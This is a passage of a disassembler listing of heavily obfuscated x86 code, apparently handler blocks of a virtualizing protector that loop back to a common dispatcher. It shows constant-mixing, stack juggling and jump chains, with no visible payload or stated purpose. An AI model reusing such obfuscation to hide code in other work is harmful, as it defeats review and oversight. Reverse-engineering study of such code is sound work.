		pop	eax
		sub	esi, 79F94693h
		jmp	loc_5AE2D4
; ---------------------------------------------------------------------------


loc_5B0127:				; CODE XREF: sub_5A55E5+10E22j
		mov	ch, 0F9h
		mov	bh, 0E8h
		sub	bh, 0Ch
		jmp	loc_5B9FD7
; ---------------------------------------------------------------------------


loc_5B0133:				; CODE XREF: sub_5A55E5+11644j
		xor	bl, 74h
		xor	al, bl
		push	[esp+46h+var_46]
		push	[esp+4Ah+var_4A]
		mov	ebx, [esp+4Eh+var_50+2]
		jmp	loc_5B826B
; ---------------------------------------------------------------------------


loc_5B0146:				; CODE XREF: sub_5A55E5+CD9Ej
		pop	ecx
		sub	edx, 673D2960h
		jmp	loc_5BBC0D
; ---------------------------------------------------------------------------


loc_5B0152:				; CODE XREF: sub_5A55E5+121BDj
		push	ebp
		jmp	loc_5AECF6
; ---------------------------------------------------------------------------


loc_5B0158:				; CODE XREF: sub_5A55E5+B191j
		mov	[esp+4Eh+var_50+2], edi
		push	200h
		pop	edi
		and	eax, edi
		pop	edi
		push	eax
		mov	eax, 1Ch
		jmp	loc_5AC773
; ---------------------------------------------------------------------------


loc_5B016F:				; CODE XREF: sub_5A55E5+128C7j
		xor	ecx, 3C96E624h
		add	eax, ecx
		pop	ecx
		push	edx
		mov	edx, 21F40B6Bh
		jmp	loc_5B44A9
; ---------------------------------------------------------------------------


loc_5B0183:				; CODE XREF: sub_5A55E5+B243j
		push	edx
		not	[esp+52h+var_54+2]
		pop	edx
		add	edx, 6A55FE77h
		mov	eax, edx
		push	[esp+4Eh+var_50+2]
		pop	edx
		jmp	loc_5BD3EB
; ---------------------------------------------------------------------------


loc_5B0199:				; DATA XREF: sub_5A55E5+432Bo
		movzx	ax, byte ptr fs:[edx]
		push	ecx
		jmp	loc_5B1853
; ---------------------------------------------------------------------------


loc_5B01A4:				; CODE XREF: sub_5A55E5+D58Bj
		sub	edx, offset byte_4403B3
		jmp	loc_5B829B
; ---------------------------------------------------------------------------


loc_5B01AF:				; CODE XREF: sub_5A55E5+5826j
		mov	si, 0B02h
		add	si, 0EE0h
		shl	si, 4
		push	dx
		mov	dx, 4477h
		or	si, dx
		pop	dx
		sub	si, 3EA6h
		not	si
		add	si, 1C20h
		sub	bx, 784Fh
		jmp	loc_5ABE0F
; ---------------------------------------------------------------------------


loc_5B01DE:				; CODE XREF: sub_5A55E5+1816Ej
		shr	edx, 6
		add	edx, 36977951h
		sub	ebp, edx
		mov	edx, [esp+36h+var_36]
		add	esp, 4
		sub	ebp, 1
		push	edx
		mov	edx, 8CE9A5E3h
		sub	ebp, 4D6A470Ah
		add	ebp, edx
		push	eax
		push	ecx
		push	3C23AF5h
		pop	ecx
		xor	ecx, 4EA87DFFh
		jmp	loc_5BEB99
; ---------------------------------------------------------------------------


loc_5B0216:				; CODE XREF: sub_5A55E5+12DD8j
		not	ecx
		sub	ecx, 58DC96DEh
		and	esi, ecx
		pop	ecx
		shl	esi, 4
		neg	esi
		jmp	loc_5B8A41
; ---------------------------------------------------------------------------


loc_5B022B:				; CODE XREF: sub_5A55E5+149D3j
		pop	ebp
		add	esp, 4
		sub	[esp+32h+var_2E], edi
		add	[esp+32h+var_2E], 1CE73478h
		jmp	loc_5BF08B
; ---------------------------------------------------------------------------


loc_5B0243:				; CODE XREF: sub_5A55E5+6FEAj
		neg	ecx
		shl	ecx, 4
		and	ecx, 1276F92h
		sub	ecx, 0C85704E2h
		and	edi, ecx
		pop	ecx
		and	edi, 1A5B56B9h
		jmp	loc_5BDFD9
; ---------------------------------------------------------------------------


loc_5B0262:				; CODE XREF: sub_5A55E5+5C7Fj
		mov	eax, ecx
		pop	ecx
		jmp	loc_5B2EAA
; ---------------------------------------------------------------------------


loc_5B026A:				; CODE XREF: sub_5A55E5+61AAj
		sub	bl, 67h
		add	bl, al
		add	bl, 67h
		add	bl, 80h
		jmp	loc_5AF880
; ---------------------------------------------------------------------------


loc_5B027A:				; CODE XREF: sub_5A55E5+18DD1j
		pop	ebx
		add	dh, 1
		neg	dh
		push	eax
		mov	ah, 2Dh
		add	ah, 93h
		add	ah, 0FFh
		xor	ah, 40h
		sub	dh, ah
		mov	eax, [esp+5Ah+var_5C+2]
		add	esp, 4
		push	small 64BFh
		mov	word ptr [esp+58h+var_58], bx
		push	edx
		mov	dl, 88h
		mov	bl, dl
		pop	edx
		push	ecx
		mov	cl, 0C8h
		jmp	loc_5B591D
; ---------------------------------------------------------------------------


loc_5B02AA:				; CODE XREF: sub_5A55E5+F464j
		push	63B13CE7h
		pop	ebx
		inc	ebx
		sub	ebx, 0CD86689h
		push	324Eh
		mov	[esp+60h+var_60], edx
		mov	edx, 363F6B8Ah
		xor	edx, 9F184253h
		add	ebx, edx
		pop	edx
		add	ebx, 6361702Bh
		jmp	loc_5B53F0
; ---------------------------------------------------------------------------


loc_5B02D8:				; CODE XREF: sub_5A55E5+1842Dj
		push	25DCh
		mov	[esp+60h+var_60], esi
		jmp	loc_5ACA3B
; ---------------------------------------------------------------------------


loc_5B02E5:				; CODE XREF: sub_5A55E5+CFEEj
		push	esi
		mov	esi, 4
		jmp	loc_5BBB4C
; ---------------------------------------------------------------------------


loc_5B02F0:				; CODE XREF: sub_5A55E5+10F3Fj
		mov	esi, [esp+64h+var_64]
		add	esp, 4
		push	1B9Dh
		jmp	loc_5BBDB2
; ---------------------------------------------------------------------------


loc_5B0300:				; CODE XREF: sub_5A55E5+17907j
		add	[esp+64h+var_64], 4
		pop	[esp+64h+var_64]
		jmp	loc_5B30F9
; ---------------------------------------------------------------------------


loc_5B030C:				; CODE XREF: sub_5A55E5+193BBj
		shl	edi, 6
		jmp	loc_5BAC52
; ---------------------------------------------------------------------------


loc_5B0314:				; CODE XREF: sub_5A55E5+17203j
		push	339Bh
		jmp	loc_5B871C
; ---------------------------------------------------------------------------


loc_5B031E:				; CODE XREF: sub_5A55E5+4FA0j
		push	[esp+52h+var_54+2]
		jmp	loc_5BEB1A
; ---------------------------------------------------------------------------


loc_5B0326:				; CODE XREF: sub_5A55E5+12947j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+56h+var_58+2]
		pop	esp
		add	ebx, 4
		push	ebx
		push	[esp+56h+var_54+2]
		push	[esp+5Ah+var_5C+2]
		pop	ebx
		add	esp, 4
		pop	[esp+56h+var_58+2]
		pop	esp
		jmp	loc_5B7966
; ---------------------------------------------------------------------------


loc_5B0351:				; CODE XREF: sub_5A55E5+F96Dj
		dec	edx
		add	edx, 6E5972B8h
		add	ebx, edx
		pop	edx
		add	ebx, eax
		jmp	loc_5B0B2B
; ---------------------------------------------------------------------------


loc_5B0362:				; CODE XREF: sub_5A55E5+12E1Fj
		add	[esp+4Ah+var_4A], 4
		mov	ebp, [esp+4Ah+var_4A]
		jmp	loc_5BE8E0
; ---------------------------------------------------------------------------


loc_5B036E:				; CODE XREF: sub_5A55E5+11D72j
		mov	[esp+4Ah+var_4A], esp
		sub	esp, 4
		mov	[esp+4Eh+var_50+2], eax
		push	61A0h
		mov	[esp+52h+var_54+2], edx
		jmp	loc_5BEF92
; ---------------------------------------------------------------------------


loc_5B0384:				; CODE XREF: sub_5A55E5+5086j
		add	edx, 2D9B3B37h
		add	esi, edx
		jmp	loc_5B467F
; ---------------------------------------------------------------------------


loc_5B0391:				; CODE XREF: sub_5A55E5+12FC7j
		mov	ebx, eax
		mov	esi, ebx
		pop	ebx
		mov	eax, [esp+56h+var_58+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5B00DB
; ---------------------------------------------------------------------------


loc_5B03A6:				; CODE XREF: sub_5A55E5+119F9j
		xor	ebp, 0F8E4C269h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5BAE67
; ---------------------------------------------------------------------------


loc_5B03B4:				; CODE XREF: sub_5A55E5+DC10j
		sub	edx, 285F6A3Dh
		jmp	loc_5B5D75
; ---------------------------------------------------------------------------


loc_5B03BF:				; CODE XREF: sub_5A55E5+C504j
		xor	bh, 1Fh
		xor	al, bh
		push	[esp+56h+var_58+2]
		pop	ebx
		push	edx
		jmp	loc_5B97D4
; ---------------------------------------------------------------------------


loc_5B03CE:				; CODE XREF: sub_5A55E5+D46Dj
		pop	edx
		mov	edx, [esp+56h+var_58+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+5Ah+var_5C+2]
		pop	esp
		xor	edi, [esp+56h+var_58+2]
		xor	[esp+56h+var_58+2], edi
		xor	edi, [esp+56h+var_58+2]
		mov	esp, [esp+56h+var_58+2]
		sub	esp, 4
		mov	[esp+5Ah+var_5C+2], ecx
		jmp	loc_5AA8C5
; ---------------------------------------------------------------------------


loc_5B03FC:				; CODE XREF: sub_5A55E5+19D40j
		mov	esi, [esp+5Ah+var_5C+2]
		add	esp, 4
		pop	[esp+56h+var_58+2]
		jmp	loc_5B0F09
; ---------------------------------------------------------------------------


loc_5B040A:				; CODE XREF: sub_5A55E5+11133j
		push	ebx
		mov	bh, ah
		mov	dh, bh
		pop	ebx
		pop	eax
		mov	bh, dh
		pop	edx
		mov	[edi+eax*4], bh
		pop	ebx
		jmp	loc_5B5213
; ---------------------------------------------------------------------------


loc_5B041D:				; CODE XREF: sub_5A55E5+B4B0j
		mov	ecx, 5C318Dh
		jmp	loc_5AAE46
; ---------------------------------------------------------------------------


loc_5B0427:				; CODE XREF: sub_5A55E5+BE67j
		mov	edx, 36B71CB4h
		sub	ecx, edx
		mov	edx, [esp+46h+var_46]
		add	esp, 4
		pop	edi
		jmp	loc_5BA740
; ---------------------------------------------------------------------------


loc_5B043A:				; CODE XREF: sub_5A55E5+E458j
		dec	ebp
		jmp	loc_5B6B96
; ---------------------------------------------------------------------------


loc_5B0440:				; CODE XREF: sub_5A55E5+D8C0j
		pop	edi
		xchg	eax, [esp+3Ah+var_3A]
		mov	esp, [esp+3Ah+var_3A]
		mov	[esp+3Ah+var_3A], ecx
		push	esp
		push	[esp+3Eh+var_3E]
		pop	ecx
		push	2BD4h
		jmp	loc_5B2572
; ---------------------------------------------------------------------------


loc_5B0459:				; DATA XREF: sub_5A55E5+419Fo
		mov	cx, word ptr [esp+10h+var_10]
		push	4E8Ah
		mov	[esp+14h+var_14], edi
		jmp	loc_5BDBDF
; ---------------------------------------------------------------------------


loc_5B046A:				; CODE XREF: sub_5A55E5+A1E8j
		pop	esp
		push	7D1Ah
		mov	[esp+52h+var_54+2], edi
		push	eax
		jmp	loc_5B91DF
; ---------------------------------------------------------------------------


loc_5B0479:				; CODE XREF: sub_5A55E5+FE06j
		sub	eax, ebp
		add	eax, 6F834861h
		mov	ebp, [esp+56h+var_58+2]
		add	esp, 4
		jmp	loc_5B4FDF
; ---------------------------------------------------------------------------


loc_5B048E:				; CODE XREF: sub_5A55E5+9E57j
		pop	esi
		jmp	loc_5B5BBE
; ---------------------------------------------------------------------------


loc_5B0494:				; CODE XREF: sub_5A55E5+1941Bj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+12h+var_14+2]
		pop	esp
		pop	ebx
		not	edi
		shr	edi, 1
		not	edi
		jmp	loc_5AAB46
; ---------------------------------------------------------------------------


loc_5B04B0:				; CODE XREF: sub_5A55E5+19B43j
		pop	edx
		pop	esi
		jmp	loc_5AF78D
; ---------------------------------------------------------------------------


loc_5B04B7:				; CODE XREF: sub_5A55E5+19E57j
		add	esp, 4
		sub	esp, 4
		mov	[esp+2+var_4+2], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A9C6F
; ---------------------------------------------------------------------------


loc_5B04D0:				; CODE XREF: sub_5A55E5+166E5j
		inc	esi
		shl	esi, 4
		push	ebp
		mov	ebp, 0CD04C639h
		add	esi, ebp
		jmp	loc_5B6DE6
; ---------------------------------------------------------------------------


loc_5B04E1:				; CODE XREF: sub_5A55E5+1366Ej
		mov	cx, 8Eh
		jmp	loc_5BADA3
; ---------------------------------------------------------------------------


loc_5B04EA:				; CODE XREF: sub_5A55E5+15B9Aj
		add	esp, 4
		pop	ebx
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B04F3:				; DATA XREF: sub_5A55E5+4383o
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp+10h+var_10], eax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B0501:				; CODE XREF: sub_5A55E5+E450j
		sub	esp, 4
		mov	[esp+18h+var_18], ebp
		jmp	loc_5BECD4
; ---------------------------------------------------------------------------


loc_5B050C:				; CODE XREF: sub_5A55E5+B902j
		mov	esp, [esp+18h+var_18]
		push	[esp+18h+var_18]
		push	[esp+1Ch+var_1C]
		pop	ecx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_5BAEB0
; ---------------------------------------------------------------------------


loc_5B052A:				; CODE XREF: sub_5A55E5+EB5Ej
		sub	ecx, 277A5993h
		jmp	loc_5AC7DF
; ---------------------------------------------------------------------------


loc_5B0535:				; CODE XREF: sub_5A55E5+C95Aj
		xchg	ecx, [esp+24h+var_26+2]
		pop	esp
		push	4ECBh
		mov	[esp+24h+var_26+2], ebp
		jmp	loc_5BC44B
; ---------------------------------------------------------------------------


loc_5B0546:				; CODE XREF: sub_5A55E5+18730j
		mov	ah, dl
		pop	edx
		sub	bl, ah
		pop	eax
		sub	bl, 22h
		sub	bl, al
		push	eax
		mov	ah, 3Dh
		xor	ah, 3
		shr	ah, 6
		add	ah, 22h
		jmp	loc_5BB2E8
; ---------------------------------------------------------------------------


loc_5B0562:				; CODE XREF: sub_5A55E5+1850Bj
		add	edx, eax
		sub	edx, 7C542D34h
		pop	eax
		jmp	loc_5BBAE7
; ---------------------------------------------------------------------------


loc_5B0570:				; CODE XREF: sub_5A55E5+16346j
		pop	ebp
		add	ebp, 0ADC0B2A5h
		jmp	loc_5AAD94
; ---------------------------------------------------------------------------


loc_5B057C:				; CODE XREF: sub_5A55E5+10F1Dj
		push	esi
		mov	esi, 4
		add	eax, esi
		jmp	loc_5B8195
; ---------------------------------------------------------------------------


loc_5B0589:				; CODE XREF: sub_5A55E5+10FCEj
		xchg	edi, [esp+1Ch+var_1C]
		pop	esp
		shr	esi, 6
		add	esi, 1
		add	esi, 1
		shl	esi, 3
		push	ecx
		mov	ecx, 2E1D3B74h
		xor	esi, ecx
		pop	ecx
		push	ebx
		mov	ebx, 40295639h
		xor	ebx, 5C6245DEh
		not	ebx
		push	eax
		mov	eax, 6217593h
		jmp	loc_5BA07C
; ---------------------------------------------------------------------------


loc_5B05BE:				; DATA XREF: sub_5A55E5+4273o
		push	dword ptr [edi+2Ch]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B05C6:				; CODE XREF: sub_5A55E5+1703Aj
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+18h+var_18]
		pop	esp
		mov	[esp+14h+var_14], eax
		jmp	loc_5B27D9
; ---------------------------------------------------------------------------


loc_5B05E1:				; CODE XREF: sub_5A55E5+17CC8j
		pop	ebx
		push	esi
		mov	esi, 92E1EBBh
		add	ebx, esi
		pop	esi
		sub	ebx, edi
		jmp	loc_5BD946
; ---------------------------------------------------------------------------


loc_5B05F2:				; CODE XREF: sub_5A55E5+697Fj
		push	53ABh
		mov	[esp+0], ebx
		mov	ebx, 58616C42h
		shl	ebx, 4
		jmp	loc_5AACC1
; ---------------------------------------------------------------------------


loc_5B0607:				; CODE XREF: sub_5A55E5+190F8j
		mov	ebx, 79C039F4h
		sub	eax, ebx
		jmp	loc_5ACB2F
; ---------------------------------------------------------------------------


loc_5B0613:				; CODE XREF: sub_5A55E5+16ED3j
		mov	[esp+0], ebx
		jmp	loc_5B7137
; ---------------------------------------------------------------------------


loc_5B061B:				; CODE XREF: sub_5A55E5+D0EFj
		xchg	ebp, [esp+0]
		jmp	loc_5ABBF3
; ---------------------------------------------------------------------------


loc_5B0623:				; CODE XREF: sub_5A55E5+10F15j
		mov	esi, [esp+0]
		add	esp, 4
		push	ebx
		sub	esp, 4
		mov	[esp+22h+var_22], esi
		mov	esi, 5413D15h
		add	esi, 0FABEC30Bh
		mov	ebx, esi
		pop	esi
		add	ebx, edi
		push	eax
		mov	eax, 0
		jmp	loc_5BCAA3
; ---------------------------------------------------------------------------


loc_5B064E:				; CODE XREF: sub_5A55E5+14CBCj
		pop	eax
		push	ecx
		jmp	loc_5BD248
; ---------------------------------------------------------------------------


loc_5B0655:				; CODE XREF: sub_5A55E5+13B76j
		neg	ecx
		not	ecx
		add	ecx, 9393B1A9h
		jmp	loc_5BEDA2
; ---------------------------------------------------------------------------


loc_5B0664:				; CODE XREF: sub_5A55E5+11193j
		add	eax, [ebx]
		jmp	loc_5AF730
; ---------------------------------------------------------------------------


loc_5B066B:				; CODE XREF: sub_5A55E5+47B9j
		mov	esi, [esp+44h+var_46+2]
		add	esp, 4
		push	ecx
		push	edx
		mov	edx, 42FE3484h
		mov	ecx, edx
		pop	edx
		inc	ecx
		xor	ecx, 375E07EFh
		shl	ecx, 2
		shr	ecx, 2
		xor	ecx, 35A0336Eh
		add	esi, ecx
		pop	ecx
		push	edx
		mov	edx, 2
		add	esi, edx
		pop	edx
		xchg	esi, [esp+40h+var_42+2]
		pop	esp
		sub	al, 0DDh
		jmp	loc_5B3713
; ---------------------------------------------------------------------------


loc_5B06A5:				; CODE XREF: sub_5A55E5+120A0j
		push	[esp+3Ch+var_3A+2]
		pop	ecx
		pop	[esp+3Ch+var_3E+2]
		jmp	loc_5BB9E5
; ---------------------------------------------------------------------------


loc_5B06B2:				; CODE XREF: sub_5A55E5+CEF4j
		add	[esp+38h+var_3A+2], 4
		mov	edx, [esp+38h+var_3A+2]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5ABB4D
; ---------------------------------------------------------------------------


loc_5B06CA:				; CODE XREF: sub_5A55E5+13687j
		add	eax, 338B29D0h
		or	eax, 62AA4459h
		shl	eax, 6
		add	eax, 0ADEE8312h
		sub	ebx, eax
		pop	eax
		jmp	loc_5AE2C0
; ---------------------------------------------------------------------------


loc_5B06E4:				; CODE XREF: sub_5A55E5+19AA1j
		mov	edx, esp
		add	edx, 4
		jmp	loc_5B2A86
; ---------------------------------------------------------------------------


loc_5B06F1:				; CODE XREF: sub_5A55E5+B160j
		push	edi
		push	[esp+38h+var_36+2]
		pop	edi
		jmp	loc_5ADA51
; ---------------------------------------------------------------------------


loc_5B06FC:				; CODE XREF: sub_5A55E5+7E45j
		mov	[esp+24h+var_26+2], edi
		push	3A675917h
		mov	edi, [esp+28h+var_2A+2]
		add	esp, 4
		shl	edi, 6
		sub	edi, 99D645BEh
		jmp	loc_5B7B48
; ---------------------------------------------------------------------------


loc_5B0718:				; CODE XREF: sub_5A55E5+14852j
		push	ebx
		jmp	loc_5AB00A
; ---------------------------------------------------------------------------


loc_5B071E:				; CODE XREF: sub_5A55E5+6681j
		add	ecx, edx
		mov	edx, [esp+2Ah+var_2A]
		add	esp, 4
		push	ebp
		mov	ebp, 24211151h
		xor	ebp, 3CA21D2Bh
		not	ebp
		sub	ebp, 68566CDAh
		push	eax
		jmp	loc_5B93AB
; ---------------------------------------------------------------------------


loc_5B0740:				; CODE XREF: sub_5A55E5+DEEDj
		xchg	edi, [esp+2Eh+var_2E]
		neg	edi
		jmp	loc_5B06F1
; ---------------------------------------------------------------------------


loc_5B074A:				; CODE XREF: sub_5A55E5+186DFj
		mov	eax, 40A582Ch
		inc	eax
		inc	eax
		sub	eax, 40A582Ah
		mov	edi, eax
		pop	eax
		add	ebx, edi
		jmp	loc_5BEC3E
; ---------------------------------------------------------------------------


loc_5B0760:				; CODE XREF: sub_5A55E5+D4EDj
		xor	edx, 4FC42806h
		add	edx, 2046F663h
		add	esi, edx
		jmp	loc_5B880B
; ---------------------------------------------------------------------------


loc_5B0773:				; CODE XREF: sub_5A55E5+CA76j
		mov	esp, [esp+2Ah+var_2A]
		jmp	loc_5B0158
; ---------------------------------------------------------------------------


loc_5B077B:				; CODE XREF: sub_5A55E5+9950j
		add	ebx, 48C25B4Ah
		add	ebx, eax
		sub	esp, 4
		mov	[esp+34h+var_36+2], ecx
		mov	ecx, 7A910CF4h
		or	ecx, 0F3F1B2Dh
		sub	ecx, 36FCC4B3h
		sub	ebx, 5C817344h
		jmp	loc_5B8E8A
; ---------------------------------------------------------------------------


loc_5B07A5:				; CODE XREF: sub_5A55E5+7CD0j
		pop	ebp
		mov	esi, ebx
		pop	ebx
		jmp	loc_5B00E9
; ---------------------------------------------------------------------------


loc_5B07AE:				; CODE XREF: sub_5A55E5+1812Dj
		mov	ecx, [esp+20h+var_22+2]
		add	esp, 4
		dec	al
		not	al
		jmp	loc_5B7C33
; ---------------------------------------------------------------------------


loc_5B07C0:				; CODE XREF: sub_5A55E5+BE09j
		pop	eax
		add	eax, 1221505Dh
		push	edi
		mov	edi, 7CB312D2h
		add	eax, 505C6376h
		sub	eax, edi
		sub	eax, 505C6376h
		pop	edi
		add	eax, ecx
		add	eax, 7CB312D2h
		sub	eax, 1221505Dh
		pop	ecx
		sub	esp, 4
		mov	[esp+18h+var_18], ebx
		push	edx
		push	455B0991h
		pop	edx
		jmp	loc_5BB64A
; ---------------------------------------------------------------------------


loc_5B07FB:				; CODE XREF: sub_5A55E5+165DCj
		pop	eax
		xor	ebx, 2EDC10BAh
		shl	ebx, 2
		jmp	loc_5B00BE
; ---------------------------------------------------------------------------


loc_5B080A:				; CODE XREF: sub_5A55E5+D26Fj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B080F:				; CODE XREF: sub_5A55E5+102D9j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5B2AE5
; ---------------------------------------------------------------------------


loc_5B081D:				; CODE XREF: sub_5A55E5+69BFj
		and	ebp, edx
		jmp	loc_5B16AD
; ---------------------------------------------------------------------------


loc_5B0824:				; CODE XREF: sub_5A55E5+18889j
		inc	edx
		shr	edx, 7
		jmp	loc_5B0183
; ---------------------------------------------------------------------------


loc_5B082D:				; CODE XREF: sub_5A55E5+11C55j
		mov	[esp+4Ah+var_4A], ebx
		mov	ebx, 59EE051Dh
		inc	ebx
		neg	ebx
		sub	ebx, 7226FA79h
		add	edi, ebx
		pop	ebx
		add	esi, edi
		pop	edi
		add	ebx, 4D504625h
		add	ebx, esi
		push	edi
		jmp	loc_5B2CBA
; ---------------------------------------------------------------------------


loc_5B0852:				; CODE XREF: sub_5A55E5+16A4Aj
		sub	esp, 4
		jmp	loc_5BDBE6
; ---------------------------------------------------------------------------


loc_5B085A:				; CODE XREF: sub_5A55E5+108D0j
		push	edx
		mov	edx, 7FE37974h
		jmp	loc_5BA6B2
; ---------------------------------------------------------------------------


loc_5B0865:				; CODE XREF: sub_5A55E5+84D1j
		push	ecx
		mov	ecx, 4
		sub	edx, ecx
		jmp	loc_5BD406
; ---------------------------------------------------------------------------


loc_5B0872:				; CODE XREF: sub_5A55E5+BEB0j
		add	di, dx
		pop	dx
		add	bx, di
		pop	edi
		add	bx, 5272h
		add	ax, 3CB5h
		jmp	loc_5B96CD
; ---------------------------------------------------------------------------


loc_5B0889:				; CODE XREF: sub_5A55E5+A897j
		dec	edx
		jmp	loc_5B5C8C
; ---------------------------------------------------------------------------


loc_5B088F:				; CODE XREF: sub_5A55E5+14AD2j
		add	esp, 4
		pop	ebx
		jmp	loc_5B244B
; ---------------------------------------------------------------------------


loc_5B089B:				; CODE XREF: sub_5A55E5+111CAj
		xor	eax, esi
		pop	esi
		sub	eax, 1ECC5D42h
		mov	edx, eax
		jmp	loc_5AAFB0
; ---------------------------------------------------------------------------


loc_5B08AA:				; CODE XREF: sub_5A55E5+143A4j
		mov	[esp+26h+var_26], ebp
		jmp	loc_5BCFAB
; ---------------------------------------------------------------------------


loc_5B08B2:				; CODE XREF: sub_5A55E5+10FF8j
		pop	esp
		mov	[esp+22h+var_22], edx
		mov	edx, 3CAF707Eh
		mov	ebx, 3CAF7062h
		jmp	loc_5A9D2C
; ---------------------------------------------------------------------------


loc_5B08C5:				; CODE XREF: sub_5A55E5+103ADj
		push	[esp+22h+var_22]
		pop	ecx
		push	ecx
		push	esp
		mov	ecx, [esp+2Ah+var_2A]
		add	esp, 4
		add	ecx, 4
		push	edi
		mov	edi, 4
		jmp	loc_5ABE16
; ---------------------------------------------------------------------------


loc_5B08E5:				; CODE XREF: sub_5A55E5+1793Cj
		push	eax
		jmp	loc_5AC0BD
; ---------------------------------------------------------------------------


loc_5B08EB:				; CODE XREF: sub_5A55E5+154D7j
		add	esp, 4
		sub	bl, al
		sub	bl, 8
		movzx	eax, al
		jmp	loc_5AFAF4
; ---------------------------------------------------------------------------


loc_5B08FE:				; CODE XREF: sub_5A55E5+ED89j
		push	esi
		mov	esi, 251728Eh
		sub	esi, 4A141C7Ch
		jmp	loc_5BF4ED
; ---------------------------------------------------------------------------


loc_5B090F:				; DATA XREF: sub_5A55E5+431Bo
		pop	dword ptr fs:[edx]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B0917:				; CODE XREF: sub_5A55E5+7E9Dj
		or	eax, eax
		jz	loc_5AAC08
		push	dword ptr [edi+1Ch]
		push	[esp+42h+var_42]
		mov	ecx, [esp+46h+var_46]
		jmp	loc_5B3D37
; ---------------------------------------------------------------------------


loc_5B092D:				; DATA XREF: sub_5A55E5+42B3o
		push	[esp+14h+var_14]
		mov	eax, [esp+18h+var_18]
		add	esp, 4
		push	7174h
		jmp	loc_5B9078
; ---------------------------------------------------------------------------


loc_5B0943:				; CODE XREF: sub_5A55E5+1813Ej
		sub	esp, 4
		jmp	loc_5B52DB
; ---------------------------------------------------------------------------


loc_5B094B:				; CODE XREF: sub_5A55E5+14460j
		or	ebp, 510407C7h
		jmp	loc_5ADA69
; ---------------------------------------------------------------------------


loc_5B0956:				; CODE XREF: sub_5A55E5+D594j
		mov	[esp+1Ch+var_1C], eax
		mov	eax, esp
		jmp	loc_5BB0E3
; ---------------------------------------------------------------------------


loc_5B0960:				; CODE XREF: sub_5A55E5+4742j
		mov	word ptr [esp+2Eh+var_2E], dx
		push	ax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B096C:				; CODE XREF: sub_5A55E5+71E2j
		mov	ebp, 2
		jmp	loc_5BC5E5
; ---------------------------------------------------------------------------


loc_5B0976:				; CODE XREF: sub_5A55E5+119A3j
		add	eax, 4
		jmp	loc_5B666E
; ---------------------------------------------------------------------------


loc_5B0980:				; CODE XREF: sub_5A55E5+561Bj
		mov	edx, 1EBA706Ah
		add	edi, edx
		jmp	loc_5B22ED
; ---------------------------------------------------------------------------


loc_5B098C:				; CODE XREF: sub_5A55E5+1230Dj
		mov	ebp, [esp+2Ah+var_2A]
		push	37D7h
		mov	[esp+2Eh+var_2E], eax
		push	esp
		pop	eax
		jmp	loc_5BEA3E
; ---------------------------------------------------------------------------


loc_5B099E:				; CODE XREF: sub_5A55E5+DB05j
		mov	bh, 0Ah
		sub	dh, bh
		pop	bx
		jmp	loc_5B936C
; ---------------------------------------------------------------------------


loc_5B09A9:				; CODE XREF: sub_5A55E5+F721j
		sub	edx, 7BF20CA2h
		sub	esp, 4
		jmp	loc_5B9E1E
; ---------------------------------------------------------------------------


loc_5B09BA:				; CODE XREF: sub_5A55E5+12A97j
		or	ecx, eax
		pop	eax
		add	ecx, 0B53411BEh
		sub	edx, ecx
		mov	ecx, [esp+2Ch+var_2E+2]
		add	esp, 4
		push	[esp+28h+var_2A+2]
		pop	ecx
		jmp	loc_5B2FCD
; ---------------------------------------------------------------------------


loc_5B09D7:				; CODE XREF: sub_5A55E5+C43Bj
		push	ecx
		jmp	loc_5BDA90
; ---------------------------------------------------------------------------


loc_5B09DD:				; CODE XREF: sub_5A55E5+14F3Ej
		pop	edx
		pop	[esp+28h+var_2A+2]
		mov	esp, [esp+24h+var_26+2]
		imul	cl
		movzx	cx, ah
		jmp	loc_5BBE61
; ---------------------------------------------------------------------------


loc_5B09EF:				; CODE XREF: sub_5A55E5+EC92j
		add	eax, esi
		mov	esi, [esp+24h+var_26+2]
		add	esp, 4
		add	eax, edi
		sub	eax, 59077087h
		jmp	loc_5BC218
; ---------------------------------------------------------------------------


loc_5B0A06:				; CODE XREF: sub_5A55E5+970Cj
		xor	edi, 50625374h
		add	edi, 792425D2h
		xor	edi, 8A4B5CC4h
		not	edi
		dec	edi
		push	ebx
		mov	ebx, 44761B94h
		or	edi, ebx
		mov	ebx, [esp+38h+var_3A+2]
		add	esp, 4
		shr	edi, 8
		shl	edi, 1
		add	edi, 239D563Ah
		push	edi
		pop	edx
		push	[esp+34h+var_36+2]
		pop	edi
		add	esp, 4
		add	esi, 7C1A23C3h
		add	esi, edx
		jmp	loc_5B35C2
; ---------------------------------------------------------------------------


loc_5B0A4D:				; CODE XREF: sub_5A55E5+10E48j
		mov	eax, esp
		jmp	loc_5B2753
; ---------------------------------------------------------------------------


loc_5B0A54:				; CODE XREF: sub_5A55E5+16477j
		mov	[esp+30h+var_32+2], ebx
		push	ecx
		mov	ch, 9
		xor	ch, 0CEh
		or	ch, 0E3h
		inc	ch
		jmp	loc_5AE63F
; ---------------------------------------------------------------------------


loc_5B0A67:				; CODE XREF: sub_5A55E5+71DAj
		pop	edx
		pop	[esp+20h+var_22+2]
		pop	esp
		btr	word ptr [esp+18h+var_18], ax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B0A77:				; CODE XREF: sub_5A55E5+5D77j
		add	edx, ebx
		pop	ebx
		xor	edx, [esp+18h+var_18]
		xor	[esp+18h+var_18], edx
		xor	edx, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		idiv	cl
